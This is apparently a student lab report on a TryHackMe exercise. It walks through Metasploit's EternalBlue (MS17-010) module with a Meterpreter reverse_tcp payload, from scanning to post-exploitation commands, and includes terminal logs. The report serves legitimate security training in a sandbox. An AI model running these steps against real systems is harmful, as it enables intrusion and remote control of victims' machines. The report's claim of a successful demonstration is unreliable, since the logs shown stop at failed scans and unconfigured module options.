

EXPERIMENT – 9

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Demonstration of Various Windows OS Exploits Using Metasploit Framework on TryHackMe Platform

Aim

To understand and demonstrate exploitation of Windows operating system vulnerabilities using the Metasploit Framework through hands-on exercises on the TryHackMe platform.

Tools / Platform Required

- Web Browser (Chrome / Firefox)
- Internet Connection
- TryHackMe Account (Already Created)
- TryHackMe AttackBox (Built-in Linux Environment)
- Metasploit Framework (Pre-installed in AttackBox)

Theory (Brief)

Metasploit Framework is a powerful penetration testing tool used to develop, test, and execute exploits against vulnerable systems.

Windows operating systems often contain vulnerabilities due to misconfigurations, outdated services, or unpatched software.

TryHackMe provides a safe and legal environment to practice Windows exploitation using Metasploit without impacting real-world systems.

Steps to Perform the Experiment

Step 1: Login to TryHackMe

1. Open browser and go to: <https://tryhackme.com>
2. Login using your registered credentials.

Step 2: Open Metasploit Windows Exploitation Room

1. In the search bar, type **Metasploit** or **Windows Exploitation**.
2. Select the appropriate TryHackMe room.
3. Click **Join Room**.

Step 3: Start the AttackBox

1. Click **Start AttackBox**.
2. Wait for the Linux environment to load.
3. Open the terminal inside AttackBox.

Step 4: Launch Metasploit Framework

1. Start Metasploit console:

2. msfconsole
3. Wait for Metasploit to initialize.

Step 5: Scan the Target System

1. Identify the target IP address provided by the TryHackMe room.
2. Perform basic scanning:
3. nmap <target-ip>

Step 6: Select Windows Exploit Module

1. Search for Windows exploits:
2. search windows
3. Select a suitable exploit module (example: SMB vulnerability):
4. use exploit/windows/smb/ms17_010_eternalblue

Step 7: Configure Exploit Parameters

1. Set target IP:
2. set RHOSTS <target-ip>
3. Set payload:
4. set PAYLOAD windows/meterpreter/reverse_tcp
5. Configure local host:
6. set LHOST <your-ip>

Step 8: Execute the Exploit

1. Run the exploit:
2. exploit
3. Gain Meterpreter session upon successful exploitation.

Step 9: Post-Exploitation Activities

1. Verify access:
2. sysinfo
3. Check privileges:
4. getuid
5. Perform basic enumeration as guided by the room tasks.

Step 10: Complete the Room

1. Capture required flags.
2. Ensure all tasks are marked **Completed**.

OUTPUT:

images are added which shows my terminal commands working in TryHackMe virtual box environment, command executions.

```
Applications Places System Sun Aug 30, 17:58 AttackBox IP:##
root@ip-10-49-191-120: ~
File Edit View Search Terminal Help
root@ip-10-49-191-120:~# msfconsole
Metasploit tip: Use the resource command to run commands from a file

=[ metasploit v6.4.144-dev- ]
+ -- --=[ 2,668 exploits - 1,342 auxiliary - 2,581 payloads ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > 
```

```
Applications Places System Sun Aug 30, 18:01 AttackBox IP:#
root@ip-10-49-191-120: ~
File Edit View Search Terminal Help

      =[ metasploit v6.4.144-dev-                               ]
+ -- --=[ 2,668 exploits - 1,342 auxiliary - 2,581 payloads      ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion        ]

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msf > nmap <target-ip>
[*] exec: nmap <target-ip>

sh: 1: Syntax error: end of file unexpected
msf > exit
root@ip-10-49-191-120:~# nmap <target-ip>
bash: syntax error near unexpected token `newline'
root@ip-10-49-191-120:~# nmap TARGET_IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-30 18:00 UTC
Failed to resolve "TARGET_IP".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds
root@ip-10-49-191-120:~# nmap 10.10.123.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-30 18:00 UTC
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.08 seconds
root@ip-10-49-191-120:~# msfconsole
Metasploit tip: Use set LDAP::QuerySacl false to view security
Descriptors with the ldap_query module from non-privileged accounts

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THM AttackBox Persistence: Off 40min 8s
```

```
Applications Places System Sun Aug 30, 18:01 AttackBox IP:##
root@ip-10-49-191-120: ~
File Edit View Search Terminal Help
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-30 18:00 UTC
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
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= [ metasploit v6.4.144-dev- ]
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Metasploit Documentation: https://docs.metasploit.com/
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msf > search ms17_010

Matching Modules
=====

# Full Name Disclosure Date Rank Check Name
- - - - -
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010
MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . .
2 \_ target: Windows 7 . . .
3 \_ target: Windows Embedded Standard 7 . . .
4 \_ target: Windows Server 2008 R2 . . .
5 \_ target: Windows 8 . . .
6 \_ target: Windows 8.1 . . .
7 \_ target: Windows Server 2012 . . .
```

Interact with a module by name or index. For example `info 26`, `use 26` or `use auxiliary/scanner/smb/smb_ms17_010`

```
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.49.191.120	yes	The listen address (an interface may be specified)

Result

Thus, various Windows operating system exploits were successfully demonstrated using the Metasploit Framework on the TryHackMe platform.

The experiment enhanced understanding of Windows vulnerabilities, exploitation techniques, and post-exploitation concepts.

⚠ Important Note

This experiment was conducted **strictly for educational and ethical purposes** using the TryHackMe learning platform.